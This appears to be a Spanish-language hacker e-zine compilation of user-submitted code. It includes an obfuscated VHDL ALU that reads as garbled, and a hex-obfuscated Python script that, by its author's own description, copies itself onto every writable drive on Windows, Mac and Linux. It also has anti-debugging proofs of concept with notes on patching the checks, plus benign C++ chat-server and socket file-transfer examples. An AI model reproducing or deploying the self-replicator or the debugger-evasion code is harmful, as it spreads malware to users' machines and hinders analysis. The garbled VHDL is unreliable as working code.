Mid(StrReverse(Letras), 28, 1) & Mid(StrReverse(Letras), 29, 1) & StrReverse(Msg) & Mid(StrReverse(Letras), 29, 1) & Mid(StrReverse(Letras), 27, 1) & SMsg & Mid(StrReverse(Letras), 27, 1) & Mid(StrReverse(Letras), 29, 1) & StrReverse(TMsg) & Mid(StrReverse(Letras), 29, 1): GoTo A6 A8: SMsg = TMPSMsg: GoTo A9 A3: If Option2.Value = True Then TMPSMsg = vbExclamation: GoTo A8 Else GoTo A2 End Sub

Autor: WaesWaes Lenguaje: VHDL Programa: es una ALU similar a la de CODE-2


--00000000 --000000 --000 architecture o0OoOO0OO0 of OO0oOO0O is with o0O0O0o0 select when o00o00oO => o0O0O0O0Oo0 <= O0o0O0O0o00O00O00;when o00o00o=>o0O0O0O0Oo0 <=o0O0000o00o0O0;when oOOO0O=> O0O0O0O0O0<=(O0o0O0O0o00(o00o0Oo0OO) nand o0O0000o00o0O0(o00o0Oo0OO))| (O0o0O0O0o00O00O00(o00o0Oo0OO)nand 0O0oO0O0O) | (o0O0000o00o0O0(o00o0Oo0OO)and 0O0oO0O0O);o0O0O0O0Oo0<=O0O0O0O0O0; when o00o0=>o0O0O0O0Oo0<=o0O0000o00o0O0( oOOO0O000o0oO0O0o0O-oOOO0O00)&o0O0000o00o0O0 (oOOO0O000o0oO0O0o0O-oOOO0O00 downto oOOO0O00) nand o0O0000o00o0O0(oOOO0O000o0oO0O0o0O -oOOO0O00)&o0O0000o00o0O0(oOOO0O000o0oO0O0o0O -oOOO0O00 downto oOOO0O00) nand o0O0000o00o0O0 (oOOO0O000o0oO0O0o0O-oOOO0O00)&o0O0000o00o0O0 (oOOO0O000o0oO0O0o0O-oOOO0O00 downto oOOO0O00) nand O0o0O0O0o00O00O00(oOOO0O000o0oO0O0o0O -o00o00o downto o00o0Oo0OO)&o00o0Oo0OO nand O0o0O0O0o00O00O00(oOOO0O000o0oO0O0o0O-o00o00o downto o00o0Oo0OO)&o00o0Oo0OO nand O0o0O0O0o00O00O00(oOOO0O000o0oO0O0o0O -o00o00o downto o00o0Oo0OO)& o00o0Oo0OO nand o0O0000o00o0O0(oOOO0O000o0oO0O0o0O-oOOO0O00) &o0O0000o00o0O0(oOOO0O000o0oO0O0o0OoOOO0O00 downto oOOO0O00)nand o0O0000o00o0O0 (oOOO0O000o0oO0O0o0O-oOOO0O00) & o0O0000o00o0O0(oOOO0O000o0oO0O0o0O -oOOO0O00 downto oOOO0O00)nand o0O0000o00o0O0 (oOOO0O000o0oO0O0o0O-oOOO0O00)& o0O0000o00o0O0 (oOOO0O000o0oO0O0o0O-oOOO0O00 downto oOOO0O00)nand o0O0000o00o0O0( oOOO0O000o0oO0O0o0OoOOO0O00)&o0O0000o00o0O0(oOOO0O000o0oO0O0o0O -oOOO0O00 downto oOOO0O00) nand O0o0O0O0o00O00O00 (oOOO0O000o0oO0O0o0O-oOOO0O00 downto o00o0Oo0OO) &o00o0Oo0OO nand O0o0O0O0o00O00O00(oOOO0O000o0oO0O0o0O-o00o00o downto o00o0Oo0OO)&o00o0Oo0OO nand O0o0O0O0o00O00O00(oOOO0O000o0oO0O0o0O-o00o00o downto o00o0Oo0OO)& o00o0Oo0OO nand o0O0000o00o0O0( oOOO0O000o0oO0O0o0O -oOOO0O00)& o0O0000o00o0O0( oOOO0O000o0oO0O0o0O -oOOO0O00 downto oOOO0O00);when others =>O0o0O0O0o00O00O00 +o0O0000o00o0O0; constant oOOO0O00, o00o00o:std_logic :='0','1';end o0OoOO0OO00 -- 0000000 --0000000 0000000 --0000000000000 0000000000000

Autor: Dusk Noun Lenguaje: Python Programa: El cdigo simplemente rastrea todos los dispositivos y crea una rplica de ste en cada uno de ellos aparte de mostrar determinados mensajes en la consola. Est habilitado para Windows, Mac y Linux pero si se ejecuta en otro sistema operativo lanzar una excepcin (por no poder declarar la variable R00T).
#!/usr/bin/env\xpython # -*- coding: utf-8 -*'''This program can be played on Windows, Mac and Linux. It has 3 parts: variable definitions, the K and the E of Ending ''' ############################## DEFINITIONS ################################### import os MAA = '\x53\x65\x6C\x66\x2D\x72\x65\x70\x6C\x69\x63\x61\x74\x69\x6E\x67 ' MAB = '\x70\x72\x6F\x67\x72\x61\x6D\x2C \x70\x6C\x65\x61\x73\x65 \x77' MAC = '\x61\x69\x74\x2E\x2E\x2E\n' M0G0R_9H8F9BT9 = MAA+MAB+MAC M0G0R_MA = "\x2F\x6D\x65\x64\x69\x61" M0G0R_ME = "\x2F\x56\x6F\x6C\x75\x6D\x65\x73"; MNA = '\x54\x68\x69\x73 \x4F\x53 \x73\x65\x65\x6D\x73 \x6E\x6F' MNB = '\x74 \x74\x6F \x62\x65 \x6F\x6E\x65 \x6F\x66 \x74\x68' MNC = '\x65 \x33 \x6D\x61\x69\x6E\x73\x2C \x49 \x61\x64\x6D\x69' MND = '\x74 \x64\x65\x66\x65\x61\x74\x2C \x70\x72\x6F\x67\x72\x61\x6D' MNE = ' \x63\x6C\x6F\x73\x69\x6E\x67 \x77\x69\x74\x68 \x72\x65\x74' MNF = '\x75\x72\x6E \x31 \x54\x68\x69\x73 \x4F\x53 \x73\x65\x65' MNG = '\x6D\x73 \x6E\x6F\x74 \x74\x6F \x62\x65 \x6F\x6E\x65 ' MNH = '\x6F\x66 \x74\x68\x65 \x33 \x6D\x61\x69\x6E\x73\x2C \x49' MNI = ' \x61\x64\x6D\x69\x74 \x64\x65\x66\x65\x61\x74\x2C \x70\x72' MNJ = '\x6F\x67\x72\x61\x6D \x63\x6C\x6F\x73\x69\x6E\x67 \x77\x69\x74' MNK = '\x68 \x72\x65\x74\x75\x72\x6E \x31' HOLE = "\x3E " M0G0R_ERG98W = "\x4F\x53 \x66\x6F\x75\x6E\x64\x2C \x72\x65\x70\x6C" M0G0R_ERG98W += "\x69\x63\x61\x74\x69\x6E\x67 \x73\x63\x72\x69\x70\x74" M0G0R_ERG98W += "\x3A " G0_DFGD = '\x70\x6F\x73\x69\x78' G0_0 = '\x6E\x74' AX = '\x57\x69\x6E\x64\x6F\x77\x73' BX = '\x4D\x61\x63\x4F\x53' CX = '\x4C\x69\x6E\x75\x78' M0G0R_DEFEAT = MNA+MNB+MNC+MND+MNE+MNF+MNG+MNH+MNI+MNJ+MNK DL = '\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50' DL += '\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A' MAIN = '\x73\x63\x72\x69\x70\x74\x2E\x70\x79'; def check_flags(): exec("\x23\x74\x68\x69\x73\x5F\x69\x73\x5F\x61\x6E\x6F") g = 0; u = 0; print( M0G0R_9H8F9BT9 ) ################################### THE K #################################### import os as OGT_THETB7E0B8; CD_001 = OGT_THETB7E0B8.path M0G0R_900090R9V = open (__file__, "rb").read();Q = 9

if OGT_THETB7E0B8.name == G0_DFGD: if CD_001.exists(M0G0R_ME): R00T = BX; P=6 if CD_001.exists(M0G0R_MA): R00T = CX; p09 = 936363565634 elif OGT_THETB7E0B8.name==G0_0: R00T = AX; p09 = 54545344643 else: R00T = None; kOE = 99008; print ( M0G0R_DEFEAT ); P=0 ROUG = ['%s:' % d for d in DL if CD_001.exists('%s:' % d)] ############################### THE E OF ENDING ############################## if R00T==BX: THS=M0G0R_ME;F='/';p09=9839;XC=902;'''\x09''' if R00T==CX: THS=M0G0R_MA;F='/';YYZ=01;REG=3260;'''\x61''' if R00T==AX: THS=0;p09=29804902839;F='\\';#NOTHING HERE print (HOLE); p09 = 54234; print(M0G0R_ERG98W+ R00T); DGAI=4543;G0=0;SCAN=1;M0=1 from dircache import listdir as G0HRGDFDFES;REG=034;SCAN=01 if THS==0: M0G0R_09LJHV0=ROUG;THS='';XC=71;print(''+''+''); if THS != '': M0G0R_09LJHV0 = G0HRGDFDFES(THS);SCAN=0x00001 if SCAN == 1: check_flags() for i in M0G0R_09LJHV0: if CD_001.isdir (THS+F+i): try: a=open(THS+F+i+F+MAIN,"wb");a.write(M0G0R_900090R9V) except: u += 1; READ_ONLY_DRIVES_PRESENT_OR_NOT_SU = True print ('Succesfully replicated script on writable drives');

Saludos

NOS ESTAN DEBUGGEANDO?


(Binary_death, Drinky94, Linkgl)
PoC usando isDebuggerPresent:
#include <windows.h> int main() { bool DebPrsnt=IsDebuggerPresent(); if(DebPrsnt) { MessageBoxA(0,"Estamos siendo debuggeados!",0,MB_OK); } else { MessageBoxA(0,"No estamos siendo debuggeados!","Information",MB_OK); } return 0; }

El isDebuggerPresent se parchea cambiando el valor de eax a 0x00 por si a alguien no le va el plugin para el olly contra esta API . Otros posibles mtodos para saber si nos estn debuggeando son la funcin GetStartupInfo y la API nativa NtQueryProcessInfor mation, o leer el PEB (PoC):
format PE GUI 4.0 entry start include 'win32ax.inc' SiDbg db 'Hay Debugger',0 NoDbg db 'No hay Debugger',0 start: mov eax,dword[fs:18h] mov eax,dword[eax+30h] mov bl,byte[eax+2] .if bl = 1 invoke MessageBoxA,0,SiDbg,0,0 .else invoke MessageBoxA,0,NoDbg,0,0 .endif ret data import library user32,'user32.dll' import user32,MessageBoxA,'MessageBoxA' end data

Bueno, pues lo que hace ah es cargar en eax la direccin del TIB, y despus carga lo que hay en la direccin del TIB + 30h (es decir, direccin del PEB) otra vez en eax.

SERVIDOR CHAT USANDO EL BROWSER


(Avoidance25) Antes que nada, el programa solo funciona usando google chrome como cliente, todavia estoy viendo de adaptarlo a firefox y a IE. Estoy abierto a cualquier sugerencia que me ayude a conseguir que funcione tambien con otros browsers. Se ve asi:

Codigo: main.cpp
#include <winsock2.h> #include <stdio.h> #include "SocketClass.h" #include "StringsClass.h" LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM); char *cont; const char precont[]=//"<meta http-equiv=\"refresh\" content=\"5\">\n" "<FORM name=\"myform\" action=\"%s\" method=\"post\">" "<P><input type=button value=\"Refresh\" onClick=\"history.go()\">" "<INPUT type=\"submit\" value=\"Send\">" "<INPUT type=\"text\" size=75 name=\"ymessage\"></P></FORM>\n" "<script type=\"text/javascript\">" "document.myform.ymessage.focus();</script>\n"; const char head[]="HTTP/1.1 200 OK\nDate: Fri, 31 Dec 2003 23:59:59 GMT\n" "Content-Type: text/html\nContent-Length:"; char szClassName[ ] = "MiApp";

HWND edit1; HWND edit2; bool close=false; bool yaip=false; HINSTANCE miinstance; WNDPROC editera; Cadenas *gcadenas=0; HWND windowhwnd; HANDLE threadhandle=0; int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nCmdShow) { MSG messages; /* Here messages to the application are saved */ WNDCLASSEX wincl; /* Data structure for the windowclass */ miinstance=hThisInstance; /* The Window structure */ wincl.hInstance = hThisInstance; wincl.lpszClassName = szClassName; wincl.lpfnWndProc = WindowProcedure; /* This function is called by windows */ wincl.style = CS_DBLCLKS; /* Catch double-clicks */ wincl.cbSize = sizeof (WNDCLASSEX); /* Use default icon and mouse-pointer */ wincl.hIcon = LoadIcon (miinstance, "MiIcono"); wincl.hIconSm = LoadIcon (miinstance, "MiIcono"); wincl.hCursor = LoadCursor (NULL, IDC_ARROW); wincl.lpszMenuName = NULL; /* No menu */ wincl.cbClsExtra = 0; /* No extra bytes after the window class */ wincl.cbWndExtra = 0; /* structure or the window instance */ /* Use Windows's default colour as the background of the window */ wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND; /* Register the window class, and if it fails quit the program */ if (!RegisterClassEx (&wincl)) return 0; /* The class is registered, let's create the program*/ windowhwnd = CreateWindowEx ( 0, /* Extended possibilites for variation */ szClassName, /* Classname */ "Avoidance25's msg", /* Title Text */ WS_OVERLAPPEDWINDOW, /* default window */ CW_USEDEFAULT, /* Windows decides the position */ CW_USEDEFAULT, /* where the window ends up on the screen */ 544, /* The programs width */ 375, /* and height in pixels */ HWND_DESKTOP, /* The window is a child-window to desktop */ NULL, /* No menu */ hThisInstance, /* Program Instance handler */ NULL /* No Window Creation data */ ); /* Make the window visible on the screen */ ShowWindow (windowhwnd, nCmdShow); /* Run the message loop. It will run until GetMessage() returns 0 */ while (GetMessage (&messages, NULL, 0, 0)) { /* Translate virtual-key messages into character messages */ TranslateMessage(&messages); /* Send message to WindowProcedure */ DispatchMessage(&messages); } /* The program return-value is 0 - The value that PostQuitMessage() gave */ return messages.wParam; } void appendtext(const char *str) { int len=GetWindowTextLength(edit1); char *txt=new char[++len+strlen(str)]; GetWindowText(edit1, txt, len); strcat(txt, str); SetWindowText(edit1, txt); delete txt; SendMessage(edit1, WM_VSCROLL, SB_BOTTOM, 0); } char *norm(char *str) { int i, j, c; for(i=0,j=0; str[i]; i++, j++) { if(str[i]=='%') { c='_'; i++; if(str[i]>=48 && str[i]<=57)c=(str[i]-48)*16; else if(str[i]>=65 && str[i]<=70)c=(str[i]-55)*16; else if(str[i]>=97 && str[i]<=102)c=(str[i]-87)*16; i++; if(str[i]>=48 && str[i]<=57)c+=(str[i]-48); else if(str[i]>=65 && str[i]<=70)c+=(str[i]-55); else if(str[i]>=97 && str[i]<=102)c+=(str[i]-87); str[j]=c; } else if(str[i]=='+')str[j]=' '; else str[j]=str[i]; } str[j]=0; return str; } int serverfunction() { int len; char buffer[1024], *ptr; unsigned long ip; avdServer *server=new avdServer(80); if(server->error()) { delete server; return server->error();

} ip=server->clientip(); sprintf(buffer, "Connected with: %ld.%ld.%ld.%ld\x0D\x0A\x0D\x0A", ip & 0xff, (ip>>8) & 0xff, (ip>>16) & 0xff, (ip>>24) & 0xff); appendtext(buffer); Cadenas *cadenas=new Cadenas(); gcadenas=cadenas; while(( len=server->recibir(buffer, 1023) )) { buffer[len]=0; //printf(buffer); if(strncmp("POST",buffer,4)==0) { if(close) break; len=server->recibir(buffer, 1023); if(len!=9) { buffer[len]=0; norm(buffer); buffer[0]='<'; buffer[1]='l'; buffer[2]='i'; buffer[3]='>'; buffer[4]='Y'; buffer[5]='H'; buffer[6]='e'; buffer[7]=':'; buffer[8]=' '; strcat(buffer, "\x0D\x0A"); appendtext(buffer+5); buffer[5]='o'; buffer[6]='u'; buffer[len]=0; strcat(buffer, "</li>\n"); cadenas->agregar(buffer); } } sprintf(buffer, "%s%ld\n\n%s", head, strlen(cont)+cadenas->len(), cont); cadenas->endout(); while((ptr=cadenas->out()))strcat(buffer, ptr); if(close) break; server->enviar(buffer, strlen(buffer)); if(close) break; } delete cadenas; gcadenas=0; delete server; appendtext("Connection Closed\x0D\x0A"); return 0; } WINAPI DWORD func(void*) { for(;;) { if(close)return 0; serverfunction(); } } LRESULT CALLBACK edit2Procedure(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) { if(message==WM_CHAR && wParam==13/* && gcadenas*/) { if(GetWindowTextLength(hwnd)!=0) { char str[1024]; if(yaip) { if(gcadenas) { int len; strcpy(str, "<li><b>He: "); len=GetWindowText(hwnd, str+11, 1001); strcat(str, "</b></li>\n"); gcadenas->agregar(str); str[6]='Y'; str[7]='o'; str[8]='u'; str[len+11]=0; strcat(str, "\x0D\x0A"); appendtext(str+6); SetWindowText(hwnd, ""); } } else { GetWindowText(hwnd, str, 512); cont=new char[strlen(precont)+GetWindowTextLength(hwnd)-1]; sprintf(cont, precont, str); SetWindowText(hwnd, ""); yaip=true; sprintf(str+512, "Wellcome Mr. %s\x0D\x0A" "Waiting for incoming connections...\x0D\x0A", str); SetWindowText(edit1, str+512); sprintf(str+512, "Avoidance25's msg ___ with: %s", str); SetWindowText(windowhwnd, str+512); threadhandle=CreateThread(NULL, 0, func, 0, 0, 0); } } } return editera(hwnd, message, wParam, lParam); } LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) /* handle the messages */ { case WM_CREATE: RECT clientrect;

GetClientRect(hwnd, &clientrect); edit1 = CreateWindowEx(0,"Edit", "Enter your ip:", WS_CHILD|WS_VISIBLE|WS_TABSTOP|ES_MULTILINE|WS_VSCROLL/*|WS_HSCROLL*/|WS_BORDER|ES_READONLY| ES_WANTRETURN , 0, 0, clientrect.right, clientrect.bottom-20, hwnd, 0, miinstance, NULL); edit2=CreateWindowEx(0,"Edit", "", WS_CHILD|WS_VISIBLE|WS_TABSTOP|WS_BORDER , 0, clientrect.bottom-20, clientrect.right, 20, hwnd, 0, miinstance, NULL); static HFONT hFont = CreateFont(17, 0, 0, 0, FW_NORMAL, 0, 0, 0,0, 0, 0, 0, VARIABLE_PITCH | FF_SWISS, "Helv"); SendMessage(edit1, WM_SETFONT, (WPARAM) hFont, true); SendMessage(edit2, WM_SETFONT, (WPARAM) hFont, true); SetFocus(edit2); editera=(WNDPROC)GetWindowLong(edit2, GWL_WNDPROC); SetWindowLong(edit2, GWL_WNDPROC, (long)edit2Procedure); break; case WM_SIZE: SetWindowPos(edit1, 0, 0, 0, lParam & 0x0000FFFF, (lParam>>16) -20, 0); SetWindowPos(edit2, 0, 0, (lParam>>16) -20, lParam & 0x0000FFFF, 20, 0); SendMessage(edit1, WM_VSCROLL, SB_BOTTOM, 0); break; case WM_DESTROY: close=true; WaitForSingleObject(threadhandle, 5000); PostQuitMessage (0); /* send a WM_QUIT to the message queue */ break; default: /* for messages that we don't deal with */ return DefWindowProc (hwnd, message, wParam, lParam); } return 0; }

SocketClass.h
//la mejorare algun dia para que funcione en linux tambien :P class avdSocket { protected: WSADATA wsa; SOCKET sock; //char *buffer; //unsigned long bufferlen; unsigned long errorlvl; public: inline unsigned long error() { return errorlvl; } inline int enviar(const char *buffer, int len) { return send(sock,buffer,len,0); } inline int recibir(char *buffer, int len) { return recv(sock,buffer,len,0); } ~avdSocket() { if(sock)closesocket(sock); WSACleanup(); } }; class avdServer : public avdSocket { private: sockaddr_in local; public: avdServer(int prt) { int len=0; errorlvl=0; sock=0; WSAStartup(MAKEWORD(2,0),&wsa); if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) { errorlvl|=2; return; } local.sin_family = AF_INET; local.sin_addr.s_addr = INADDR_ANY;//inet_addr("127.0.0.1"); local.sin_port = htons(prt); if(bind(sock, (SOCKADDR*) &local, sizeof(local))==-1) { errorlvl|=8; return; } if(listen(sock,1)==-1) { errorlvl|=16; return; } len=sizeof(sockaddr); if((sock=accept(sock,(sockaddr*)&local,&len))==-1) { errorlvl|=32; return; } } inline unsigned long clientip() { return local.sin_addr.s_addr; } };

class avdClient : public avdSocket { private: hostent *host; sockaddr_in direc; public: avdClient(const char *hst, int prt) { errorlvl=0; sock=0; //bufferlen=0; //buffer=0; WSAStartup(MAKEWORD(2,2),&wsa); if((host=gethostbyname(hst))==0) { errorlvl|=1; return; } if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) { errorlvl|=2; return; } direc.sin_family=AF_INET; direc.sin_port=htons(prt); direc.sin_addr = *((in_addr *)host->h_addr); memset(direc.sin_zero,0,8); if(connect(sock,(sockaddr *)&direc, sizeof(sockaddr))==-1) { errorlvl|=4; return; } } };

StringsClass.h
class Cadenas { struct Cad { char *str; Cad *sig; Cad *ant; }; unsigned long length; int cant; bool from; Cad *icad, *ecad, *acad; public: Cadenas() { length=0; cant=0; icad=ecad=new Cad; acad=icad->sig=icad->ant=0; } void agregar(const char *str) { int len=strlen(str); ecad->str=new char[len+1]; strcpy(ecad->str, str); length+=len; cant++; ecad->sig=new Cad; ecad->sig->sig=0; ecad->sig->ant=ecad; ecad=ecad->sig; } inline void startout() { acad=icad; from=true; } inline void endout() { acad=ecad; from=false; } char *out() { if(!acad) return 0; if(from) { if(!acad->sig) return 0; char *ptr=acad->str; acad=acad->sig; return ptr; } else { acad=acad->ant; if(!acad) return 0; char *ptr=acad->str; return ptr; } } inline unsigned long len() { return length; }

~Cadenas() { acad=icad; while(acad->sig) { delete acad->str; icad=acad; acad=acad->sig; delete icad; } delete acad; } };

Resources.rc
MiIcono ICON "StW.ico"

ENVIAR ARCHIVOS EN C++ POR SOCKETS EN WINDOWS


(Nano20sm) Hola a todos: Ac les dejo un simple ejemplo de consola de como enviar archivos por socket (de cualquier tamao). Esta versin no es la ptima, ya que se demora mucho en enviar un archivo desde un host a otro, pues enva byte por byte. La otra versin que mas adelante publicar va hacer por bloques de bytes, en el cual el usuario debe ingresar el tamao del bloque, restringido en un tamao mximo para protocolos tcp, para evitar desbordar el buffer. Cliente.cpp
#include <winsock.h> #include <windows.h> #include <iostream> //#pragma comment(lib, "Ws2_32.lib") #define _NOCURSOR 0 #define _SOLIDCURSOR 1 #define _NORMALCURSOR 2 using namespace std; void _setcursortype ( int ); void gotoxy ( int x, int y ); void clrscr ( ); int main ( int argc, char *argv[] ) { WSADATA wsa; SOCKET sock; struct hostent *host; struct sockaddr_in direc; int conex, len; char Buffer, nombre_archivo[20], hosting[20]; if( argc != 2 ) { cout << "Error falta ingresar dos parametros, ingrese ip" << endl; cout << "ejemplo: " << argv[0] << "[ip]" << endl; return -1; } clrscr ( ); //Inicializamos strcpy ( hosting, argv[1] ); WSAStartup ( MAKEWORD ( 2, 2 ), &wsa ); if ( (host = gethostbyname ( hosting )) == NULL ) { cout << "problemas con el host: " << hosting << endl; return -1; } //creamos el socket if ( (sock = socket ( AF_INET,SOCK_STREAM,IPPROTO_TCP )) == (SOCKET)-1 ) { cout << "Error al crear el socket" << endl; return -1; } //Definimos la direccion a conectar que hemos recibido desde el gethostbyname //y decimos que el puerto al que deberemos conectar es el 9999 con el protocolo ipv4 direc.sin_family = AF_INET; direc.sin_port = htons(9999); direc.sin_addr = *((struct in_addr *)host->h_addr); memset ( direc.sin_zero,0,8 ); //intentamos de establecer una conexion if ( (conex = connect ( sock,(sockaddr *)&direc, sizeof(sockaddr) )) == -1 ) {

cout << "No se ha podido conectar" << endl; return -1; } clrscr ( ); cout << "\nConectado...\n" << endl; FILE *archivo; long int totalbyte; //recibimos el nombre del archivo if( (len = recv ( sock, nombre_archivo, sizeof (nombre_archivo), 0 )) == -1 ) { cout << "error al recibir el nombre del archivo" << endl; return -1; } nombre_archivo[len] = '\0'; //recibe el numero de caracteres que tiene el archivo if( (len = recv ( sock, (char*)&totalbyte, sizeof(totalbyte), 0 )) == -1 ) { cout << "error al recibir la cantidad de totalbyte!!" << endl; getchar ( ); return -1; } if ( (archivo = fopen( nombre_archivo, "ab" )) == NULL ) { cout << "Error al intenter de abrir el archivo" << endl; return -1; } cout << "Transfiriendo el fichero...\n" << endl; cout << "El nombre del archivo es: " << nombre_archivo << endl << endl; long int porcentaje, contador = 0; while ( len != 0 ) //mientras estemos conectados con el otro pc { memset( &Buffer, '\0', sizeof(Buffer) ); //recibimos los datos que envie if ( (len = recv ( sock, &Buffer, sizeof (char), 0 )) == -1 ) { cout << "\nError al recibir el byte!!" << endl; return -1; } else if ( len > 0 ) //si seguimos conectados { fwrite( &Buffer, sizeof (char), 1, archivo ); ++contador; porcentaje = (contador * 100)/totalbyte; gotoxy ( 5, 13 ); _setcursortype ( _NOCURSOR ); cout << porcentaje << "%"; } } clrscr ( ); cout << "\nFichero recibido con exito!!\n" << endl; cout << "Desconectado...\n" << endl; _setcursortype ( _NORMALCURSOR ); closesocket ( sock ); fclose ( archivo ); MessageBeep ( MB_ICONEXCLAMATION ); // beep del PC return 0; } void gotoxy ( int x, int y ) { COORD coordenadas; coordenadas.X = x; coordenadas.Y = y; SetConsoleCursorPosition ( GetStdHandle ( STD_OUTPUT_HANDLE ), coordenadas ); } void clrscr ( ) { HANDLE hStdOut = GetStdHandle ( STD_OUTPUT_HANDLE ); COORD coord = {0, 0 }; DWORD count; CONSOLE_SCREEN_BUFFER_INFO csbi; GetConsoleScreenBufferInfo ( hStdOut, &csbi ); FillConsoleOutputCharacter ( hStdOut, ' ', csbi.dwSize.X * csbi.dwSize.Y, coord, &count ); SetConsoleCursorPosition ( hStdOut, coord ); } void _setcursortype ( int cursor ) { CONSOLE_CURSOR_INFO cur; switch (cursor) { case _NOCURSOR: cur.dwSize = 1; cur.bVisible = FALSE; break; case _SOLIDCURSOR: cur.dwSize = 100; cur.bVisible = TRUE; break; case _NORMALCURSOR: cur.dwSize = 10; cur.bVisible = TRUE; break; } SetConsoleCursorInfo ( GetStdHandle ( STD_OUTPUT_HANDLE ), &cur );

Servidor.cpp
#include <winsock.h> #include <windows.h> #include <iostream> //#pragma comment(lib, "Ws2_32.lib") #define _NOCURSOR 0 #define _SOLIDCURSOR 1 #define _NORMALCURSOR 2 using namespace std; void _setcursortype ( int ); void gotoxy ( int x, int y ); void clrscr ( ); int main ( int argc, char *argv[] ) { WSADATA wsa; SOCKET sock; struct sockaddr_in local; int len = 0; char Buffer, nombre_archivo[20]; //Inicializamos WSAStartup(MAKEWORD(2,0),&wsa); //Creamos el socket sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); clrscr ( ); if( sock == (SOCKET)-1 ) { cout << "error en el socket" << endl; return -1; } //defnimos direcci&#243;n por defecto, ipv4 y el puerto 9999 local.sin_family = AF_INET; local.sin_addr.s_addr = INADDR_ANY; local.sin_port = htons (9999); //asociamos el socket al puerto if ( bind( sock, (SOCKADDR*) &local, sizeof(local) ) == -1 ) { cout << "error en el bind" << endl; return -1; } //ponemos el socket a la escucha if (listen(sock,1) == -1) { //int listen(int sockfd, int backlog), backlog pone en la cola //los clientes conectados, en este caso es 1 cout << "error en el listen" << endl; return -1; } len = sizeof (struct sockaddr); cout << "\nEsperando conexion ..." << endl; //hay una conexion entrante y la aceptamos sock = accept ( sock, (sockaddr*)&local, &len ); clrscr ( ); cout << "\nConectado...\n" << endl; cout << "ingrese el nombre del archivo a enviar: "; cin.getline ( nombre_archivo, 20 ); FILE *archivo; if ( (archivo = fopen ( nombre_archivo, "rb" )) == NULL ) { cout << "Error al abrir el archivo" << endl; return -1; } if ( (len = send ( sock, nombre_archivo, sizeof (nombre_archivo), 0 )) == -1 ) { cout << "error al enviar el mensaje" << endl; return -1; } long int inicio, final; if ( (inicio = ftell( archivo )) < 0 ) { cout << "ERROR: ftell no ha funcionado" << endl; getchar ( ); return -1; } fseek ( archivo, 0, SEEK_END );//ponemos el cursor al final del archivo final = ftell( archivo ); /*retornamos la cantidad de caracteres leidos desde la posicion cero del cursor hasta el final final*/ rewind ( archivo ); //envia el numero de caracteres que tiene el archivo if ( (len = send ( sock, (char*)&final, sizeof(final), 0 )) == -1 ) { cout << "error al enviar el mensaje" << endl; getchar ( ); return -1; } cout << "archivo enviandose\n" << endl;

cout << "El nombre del archivo es: " << nombre_archivo << endl << endl; long int porcentaje, contador = 0; while ( !feof ( archivo ) ) //mientras el socket no se haya desconectado //y no llegue al final de archivo { fread ( &Buffer, sizeof(char), 1, archivo ); //lee byte en byte if( !feof( archivo ) ) { //enviar un byte del archivo if ( (len = send ( sock, &Buffer, sizeof(char), 0 )) == -1 ) { cout << "\nError al enviar el byte!!" << endl; return -1; } else { ++contador; porcentaje = (contador * 100)/final; gotoxy ( 5, 13 ); _setcursortype ( _NOCURSOR ); cout << porcentaje << "%"; } } } clrscr ( ); cout << "\nEl Fichero a sido enviando con exito!!\n" << endl; cout << "Desconectado...\n" << endl; _setcursortype ( _NORMALCURSOR ); closesocket ( sock ); //cierra el socket fclose( archivo ); //cierra el archivo WSACleanup ( ); // cierra los recursos de la DLL abierto por WSAStartup MessageBeep( MB_ICONEXCLAMATION ); // beep del PC return 0; } void gotoxy ( int x, int y ) { COORD coordenadas; coordenadas.X = x; coordenadas.Y = y; SetConsoleCursorPosition ( GetStdHandle ( STD_OUTPUT_HANDLE ), coordenadas ); } void clrscr ( ) { HANDLE hStdOut = GetStdHandle ( STD_OUTPUT_HANDLE ); COORD coord = {0, 0 }; DWORD count; CONSOLE_SCREEN_BUFFER_INFO csbi; GetConsoleScreenBufferInfo ( hStdOut, &csbi ); FillConsoleOutputCharacter ( hStdOut, ' ', csbi.dwSize.X * csbi.dwSize.Y, coord, &count ); SetConsoleCursorPosition ( hStdOut, coord ); } void _setcursortype ( int cursor ) { CONSOLE_CURSOR_INFO cur; switch (cursor) { case _NOCURSOR: cur.dwSize = 1; cur.bVisible = FALSE; break; case _SOLIDCURSOR: cur.dwSize = 100; cur.bVisible = TRUE; break; case _NORMALCURSOR: cur.dwSize = 10; cur.bVisible = TRUE; break; } SetConsoleCursorInfo ( GetStdHandle ( STD_OUTPUT_HANDLE ), &cur ); }

Pd: Si quieren compilarlo y usan dev-c++ tienen que ir a Herramientas>opciones del compilador>aadir estos comandos a la linea del linker>seleccionan la casilla y colocan esto: -lws2_32. Para los otros compiladores, pueden descomentar en el cdigo fuente #pragma comment(lib, "Ws2_32.lib") EDIT Se me olvidaba decir que si quieren probarlo a travs de internet el ordenador que ejecuta el Servidor.exe deber abrir los puertos en el router y dejar esta aplicacin en excepciones en el Firewall ojala y le sea til a alguien, o le den ganas de probarlo :-) Saludos!!

You might also like